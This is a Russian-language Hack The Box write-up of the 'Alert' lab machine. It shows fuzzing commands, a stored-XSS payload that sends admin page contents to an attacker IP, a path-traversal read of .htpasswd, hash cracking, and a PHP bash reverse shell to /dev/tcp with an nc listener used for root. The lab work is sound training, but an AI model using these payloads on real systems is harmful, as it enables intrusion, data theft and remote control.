December 5, 2024

Alert HTB writeup 


Название машины: Alert
Сложность: Easy
OS: Linux


После nmap'a ip-адреса, обнаруживаем вебку на 80 порту - alert.htb, добавляем в /etc/hosts, переходим на сайт.

Сразу проводим фаззинг директорий и поддоменов:

ffuf -w ../wordlists/raft-medium-files.txt -u http://alert.htb/FUZZ -fs 51 -fc 301

Находим файл messages.php

ffuf -u http://alert.htb -H "Host:FUZZ.alert.htb" -w /subs.txt

Находим поддомен statistics, который недоступен.


У сайта был один основной функционал - загружать md файлы, и просматривать их:

А после - можно поделится ссылкой на md файл.


Также было еще кое-что интересное, а именно вкладка Contacts, где можно было отправить админу любой текст.

Для тех кто ни раз проходил машины HTB, сразу сложится вектор атаки - Название машины Alert, отсылка на XSS, возможность загружать любые md файлы - точка входа для XSS, вкладка контактов - для доставки нашей XSS до админа.

Пробуем простейшую XSS:

<script>alert(1)</script>

загружаем md файл со скриптом и просматриваем

Подтверждаем наличие XSS



Далее необходимо было написать JS скрипт, который будет выполняться у админа, собирать у него инфу, и отправлять нам на сервер.

Для начала запустим сервер:

python -m http.server 56545

Итоговый скрипт(не забываем менять на свои Ip адреса):

<script>
fetch("http://alert.htb/messages.php")
  .then(response => response.text())
  .then(data => {
    fetch("http://10.10.14.65:56545/?file_content=" + encodeURIComponent(data));
  });
</script>

Этот скрипт собирает ответ на запрос messages.php, преобразует его в текст, и отправляется запрос на наш python сервер, в который помещается ответ с запроса на messages.php

Помещаем скрипт в MD файл, загружаем на сайт, копируем ссылку чтобы поделиться, и отправляем нашему админу

На сервер приходит запрос с URL кодировкой.

Декодируем, получаем:

<h1>Messages</h1>
<ul>
<li>
<a href='messages.php?file=2024-03-10_15-48-34.txt'>2024-03-10_15-48-34.txt
</a>
</li>
</ul>

Из этого выясняем, что через messages.php и параметр file, можно читать файлы.
/etc/passwd и т.д.

По итогу необходимо прочитать файл /var/www/statistics.alert.htb/.htpasswd:

<script>
fetch("http://alert.htb/messages.php?file=../../../../../../../var/www/statistics.alert.htb/.htpasswd")
  .then(response => response.text())
  .then(data => {
    fetch("http://10.10.14.65:56545/?file_content=" + encodeURIComponent(data));
  });
</script>


Отправляем скрипт, получаем запрос на сервер:

Декодируем:

Видим hash, в файле httpasswd испольуется md5crypt, закидываем хэш в john the ripper, подключив словарь rockyou.txt, благополучно получаем креды

используем креды для подключения по ssh, и мы залогинились под юзера, забираем флаг

ROOT

Прописываем id и видим что юзер альберт входит в группу management, зачастую это наталкивает нас на вектор миссконфига в настройке прав доступа к определенным файлам

Также смотрим netstat:

Видим 8080 порт на локалхосте, делаем проброс:

ssh -L 8080:localhost:8080 albert@alert.htb

Заходим на http://localhost:8080 , видим сайт с мониторингом

ищем его на машине, находим в директории /opt 0_O

прописываем ls -la, видим что есть доступ к директории config, а у самого вебсайта права рута

грузим php revshell в директорию config

<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.139/4545 0>&1'"); ?>

записываем скрипт в php файл на кали, тут же запускаем python сервер, переходим на уязвимую машину, скачиваем файл:
wget 10.10.14.139:1234/revshell.php

на кали запускаем слушатель:nc -lvnp 4545 теперь переходим на сайт, пишем http://localhost:8080/revshell.php далее скрипт выполняется

мы получаем shell рута

забираем флаг :)


Еще больше разборов здесь:
https://t.me/cybersecuritybureau